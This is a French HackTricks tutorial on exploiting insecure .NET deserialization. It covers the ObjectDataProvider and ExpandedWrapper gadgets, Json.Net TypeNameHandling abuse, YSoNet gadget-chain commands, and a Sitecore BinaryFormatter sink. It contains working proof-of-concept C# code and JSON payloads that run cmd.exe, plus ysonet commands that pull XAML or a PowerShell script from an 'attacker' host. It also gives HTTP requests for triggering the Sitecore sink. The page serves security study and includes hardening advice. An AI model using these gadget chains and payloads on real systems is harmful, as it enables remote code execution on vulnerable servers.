Désérialisation .Net basique (ObjectDataProvider gadget, ExpandedWrapper, and Json.Net)

Reading time: 10 minutes

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks

Ce post est dédié à comprendre comment le gadget ObjectDataProvider est exploité pour obtenir RCE et comment les bibliothèques de sérialisation Json.Net et xmlSerializer peuvent être abusées avec ce gadget.

ObjectDataProvider Gadget

From the documentation: the ObjectDataProvider Class Wraps and creates an object that you can use as a binding source.
Ouais, c'est une explication étrange, voyons donc ce que cette classe contient d'intéressant : cette classe permet de wrap un objet arbitraire, d'utiliser MethodParameters pour définir des paramètres arbitraires, puis d'utiliser MethodName pour appeler une fonction arbitraire de l'objet arbitraire déclarée en utilisant les paramètres arbitraires.
Ainsi, l'objet arbitraire va exécuter une fonction avec des paramètres lors de sa désérialisation.

Comment est-ce possible

Le namespace System.Windows.Data, présent dans PresentationFramework.dll à C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF, est l'endroit où ObjectDataProvider est défini et implémenté.

En utilisant dnSpy vous pouvez inspecter le code de la classe qui nous intéresse. Dans l'image ci‑dessous nous voyons le code de PresentationFramework.dll --> System.Windows.Data --> ObjectDataProvider --> Method name

Comme vous pouvez l'observer, lorsque MethodName est défini base.Refresh() est appelé ; regardons ce que cela fait :

Ok, poursuivons en voyant ce que fait this.BeginQuery(). BeginQuery est surchargée par ObjectDataProvider et voici ce qu'elle fait :

Notez qu'à la fin du code elle appelle this.QueryWorke(null). Voyons ce que cela exécute :

Notez que ce n'est pas le code complet de la fonction QueryWorker mais cela montre la partie intéressante : le code appelle this.InvokeMethodOnInstance(out ex); — c'est la ligne où l'ensemble de la méthode est invoqué.

Si vous voulez vérifier que le simple fait de définir le MethodName va être exécuté, vous pouvez lancer ce code :

java
using System.Windows.Data;
using System.Diagnostics;

namespace ODPCustomSerialExample
{
class Program
{
static void Main(string[] args)
{
ObjectDataProvider myODP = new ObjectDataProvider();
myODP.ObjectType = typeof(Process);
myODP.MethodParameters.Add("cmd.exe");
myODP.MethodParameters.Add("/c calc.exe");
myODP.MethodName = "Start";
}
}
}

Notez que vous devez ajouter en référence C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF\PresentationFramework.dll afin de charger System.Windows.Data

ExpandedWrapper

En utilisant l'exploit précédent, il y aura des cas où l'objet va être désérialisé en tant que une instance ObjectDataProvider (par exemple dans DotNetNuke vuln, en utilisant XmlSerializer, l'objet a été désérialisé en utilisant GetType). Dans ce cas, il n'aura aucune connaissance du type d'objet qui est encapsulé dans l'instance ObjectDataProvider (par exemple Process). Vous pouvez trouver plus information about the DotNetNuke vuln here.

Cette classe permet de spécifier les types d'objets des objets qui sont encapsulés dans une instance donnée. Ainsi, cette classe peut être utilisée pour encapsuler un objet source (ObjectDataProvider) dans un nouveau type d'objet et fournir les propriétés dont nous avons besoin (ObjectDataProvider.MethodName et ObjectDataProvider.MethodParameters).
Ceci est très utile pour des cas comme celui présenté précédemment, car nous serons capables de envelopper _ObjectDataProvider** à l'intérieur d'une **ExpandedWrapper _ instance et lors de la désérialisation cette classe va créer l'objet OjectDataProvider qui va exécuter la fonction indiquée dans MethodName.

Vous pouvez vérifier ce wrapper avec le code suivant:

java
using System.Windows.Data;
using System.Diagnostics;
using System.Data.Services.Internal;

namespace ODPCustomSerialExample
{
class Program
{
static void Main(string[] args)
{
ExpandedWrapper<Process, ObjectDataProvider> myExpWrap = new ExpandedWrapper<Process, ObjectDataProvider>();
myExpWrap.ProjectedProperty0 = new ObjectDataProvider();
myExpWrap.ProjectedProperty0.ObjectInstance = new Process();
myExpWrap.ProjectedProperty0.MethodParameters.Add("cmd.exe");
myExpWrap.ProjectedProperty0.MethodParameters.Add("/c calc.exe");
myExpWrap.ProjectedProperty0.MethodName = "Start";
}
}
}

Json.Net

Sur la page officielle il est indiqué que cette bibliothèque permet de Serialize and deserialize any .NET object with Json.NET's powerful JSON serializer. Donc, si nous pouvions deserialize the ObjectDataProvider gadget, nous pourrions provoquer une RCE simplement en désérialisant un objet.

Exemple Json.Net

Tout d'abord, voyons un exemple montrant comment sérialiser/désérialiser un objet en utilisant cette bibliothèque:

java
using System;
using Newtonsoft.Json;
using System.Diagnostics;
using System.Collections.Generic;

namespace DeserializationTests
{
public class Account
{
public string Email { get; set; }
public bool Active { get; set; }
public DateTime CreatedDate { get; set; }
public IList<string> Roles { get; set; }
}
class Program
{
static void Main(string[] args)
{
Account account = new Account
{
Email = "james@example.com",
Active = true,
CreatedDate = new DateTime(2013, 1, 20, 0, 0, 0, DateTimeKind.Utc),
Roles = new List<string>
{
"User",
"Admin"
}
};
//Serialize the object and print it
string json = JsonConvert.SerializeObject(account);
Console.WriteLine(json);
//{"Email":"james@example.com","Active":true,"CreatedDate":"2013-01-20T00:00:00Z","Roles":["User","Admin"]}

//Deserialize it
Account desaccount = JsonConvert.DeserializeObject<Account>(json);
Console.WriteLine(desaccount.Email);
}
}
}

Abuser de Json.Net

En utilisant ysoserial.net j'ai créé l'exploit:

java
yoserial.exe -g ObjectDataProvider -f Json.Net -c "calc.exe"
{
'$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
'MethodName':'Start',
'MethodParameters':{
'$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
'$values':['cmd', '/c calc.exe']
},
'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
}

Dans ce code, vous pouvez tester l'exploit, lancez-le simplement et vous verrez qu'un calc est exécuté :

java
using System;
using System.Text;
using Newtonsoft.Json;

namespace DeserializationTests
{
class Program
{
static void Main(string[] args)
{
//Declare exploit
string userdata = @"{
'$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
'MethodName':'Start',
'MethodParameters':{
'$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
'$values':['cmd', '/c calc.exe']
},
'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
}";
//Exploit to base64
string userdata_b64 = Convert.ToBase64String(System.Text.Encoding.UTF8.GetBytes(userdata));

//Get data from base64
byte[] userdata_nob64 = Convert.FromBase64String(userdata_b64);
//Deserialize data
string userdata_decoded = Encoding.UTF8.GetString(userdata_nob64);
object obj = JsonConvert.DeserializeObject<object>(userdata_decoded, new JsonSerializerSettings
{
TypeNameHandling = TypeNameHandling.Auto
});
}
}
}

Chaînes de gadgets .NET avancées (YSoNet & ysoserial.net)

La technique ObjectDataProvider + ExpandedWrapper présentée ci‑dessus n'est qu'une des NOMBREUSES chaînes de gadgets qui peuvent être abusées lorsqu'une application effectue une désérialisation .NET non sécurisée. Les outils modernes de red-team tels que YSoNet (et le plus ancien ysoserial.net) automatisent la création de graphes d'objets malveillants prêts à l'emploi pour des dizaines de gadgets et formats de sérialisation.

Below is a condensed reference of the most useful chains shipped with YSoNet together with a quick explanation of how they work and example commands to generate the payloads.

Chaîne de gadgetsIdée clé / PrimitiveSérialiseurs courantsCommande YSoNet
TypeConfuseDelegateCorrompt l'enregistrement DelegateSerializationHolder de sorte que, une fois matérialisé, le delegate pointe vers n'importe quelle méthode fournie par l'attaquant (par ex. Process.Start)BinaryFormatter, SoapFormatter, NetDataContractSerializerysonet.exe TypeConfuseDelegate "calc.exe" > payload.bin
ActivitySurrogateSelectorAbuse System.Workflow.ComponentModel.ActivitySurrogateSelector pour contourner le filtrage de type de .NET ≥4.8 et invoquer directement le constructeur d'une classe fournie ou compiler un fichier C# à la voléeBinaryFormatter, NetDataContractSerializer, LosFormatterysonet.exe ActivitySurrogateSelectorFromFile ExploitClass.cs;System.Windows.Forms.dll > payload.dat
DataSetOldBehaviourTire parti de la représentation XML héritée de System.Data.DataSet pour instancier des types arbitraires en remplissant les champs <ColumnMapping> / <DataType> (optionnellement en falsifiant l'assembly avec --spoofedAssembly)LosFormatter, BinaryFormatter, XmlSerializerysonet.exe DataSetOldBehaviour "<DataSet>…</DataSet>" --spoofedAssembly mscorlib > payload.xml
GetterCompilerResultsSur les runtimes avec WPF (> .NET 5) enchaîne les getters de propriétés jusqu'à atteindre System.CodeDom.Compiler.CompilerResults, puis compile ou charge une DLL fournie avec -cJson.NET typeless, MessagePack typelessysonet.exe GetterCompilerResults -c Loader.dll > payload.json
ObjectDataProvider (review)Utilise WPF System.Windows.Data.ObjectDataProvider pour appeler une méthode statique arbitraire avec des arguments contrôlés. YSoNet ajoute une variante pratique --xamlurl pour héberger le XAML malveillant à distanceBinaryFormatter, Json.NET, XAML, etc.ysonet.exe ObjectDataProvider --xamlurl http://attacker/o.xaml > payload.xaml
PSObject (CVE-2017-8565)Intègre ScriptBlock dans System.Management.Automation.PSObject qui s'exécute lorsque PowerShell désérialise l'objetPowerShell remoting, BinaryFormatterysonet.exe PSObject "Invoke-WebRequest http://attacker/evil.ps1" > psobj.bin

tip

Tous les payloads sont écrits sur stdout par défaut, ce qui rend trivial de les pipe-er vers d'autres outils (par ex. générateurs ViewState, encodeurs base64, clients HTTP).

Compilation / Installation de YSoNet

Si aucun binaire précompilé n'est disponible sous Actions ➜ Artifacts / Releases, la commande PowerShell one-liner suivante configurera un environnement de build, clonera le dépôt et compilera le tout en mode Release :

powershell
Set-ExecutionPolicy Bypass -Scope Process -Force;
[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.ServicePointManager]::SecurityProtocol -bor 3072;
iex ((New-Object System.Net.WebClient).DownloadString('https://community.chocolatey.org/install.ps1'));
choco install visualstudio2022community visualstudio2022-workload-nativedesktop msbuild.communitytasks nuget.commandline git --yes;

git clone https://github.com/irsdl/ysonet
cd ysonet
nuget restore ysonet.sln
msbuild ysonet.sln -p:Configuration=Release

Le binaire compilé ysonet.exe se trouve ensuite dans ysonet/bin/Release/.

Détection & Durcissement

  • Détecter des processus enfants inattendus de w3wp.exe, PowerShell.exe, ou de tout processus désérialisant des données fournies par l'utilisateur (p. ex. MessagePack, Json.NET).
  • Activez et appliquez le filtrage par type (TypeFilterLevel = Full, SurrogateSelector personnalisé, SerializationBinder, etc.) chaque fois que les anciens BinaryFormatter / NetDataContractSerializer ne peuvent pas être supprimés.
  • Dans la mesure du possible, migrez vers System.Text.Json ou DataContractJsonSerializer avec des convertisseurs basés sur une liste blanche.
  • Bloquez le chargement des assemblies WPF dangereux (PresentationFramework, System.Workflow.*) dans les processus web qui ne devraient jamais en avoir besoin.

Real‑world sink: Sitecore convertToRuntimeHtml → BinaryFormatter

Un sink .NET pratique accessible dans les flux authentifiés de l'éditeur de contenu Sitecore XP :

  • Sink API: Sitecore.Convert.Base64ToObject(string) appelle new BinaryFormatter().Deserialize(...).
  • Chemin de déclenchement : pipeline convertToRuntimeHtmlConvertWebControls, qui cherche un élément frère avec id="{iframeId}_inner" et lit un attribut value considéré comme des données sérialisées encodées en base64. Le résultat est converti en string et inséré dans le HTML.

Minimal end‑to‑end (authenticated):

// Load HTML into EditHtml session
POST /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.EditHtml.aspx
Content-Type: application/x-www-form-urlencoded

__PARAMETERS=edithtml:fix&...&ctl00$ctl00$ctl05$Html=
<html>
<iframe id="test" src="poc"></iframe>
<dummy id="test_inner" value="BASE64_BINARYFORMATTER"></dummy>
</html>

// Server returns a handle; visiting FixHtml.aspx?hdl=... triggers deserialization
GET /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.FixHtml.aspx?hdl=...
  • Gadget: toute chaîne BinaryFormatter renvoyant une string (les effets secondaires s'exécutent pendant la désérialisation). Voir YSoNet/ysoserial.net pour générer des payloads.

Pour une chaîne complète qui commence pre‑auth avec HTML cache poisoning dans Sitecore et mène à ce sink:

Sitecore

References

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks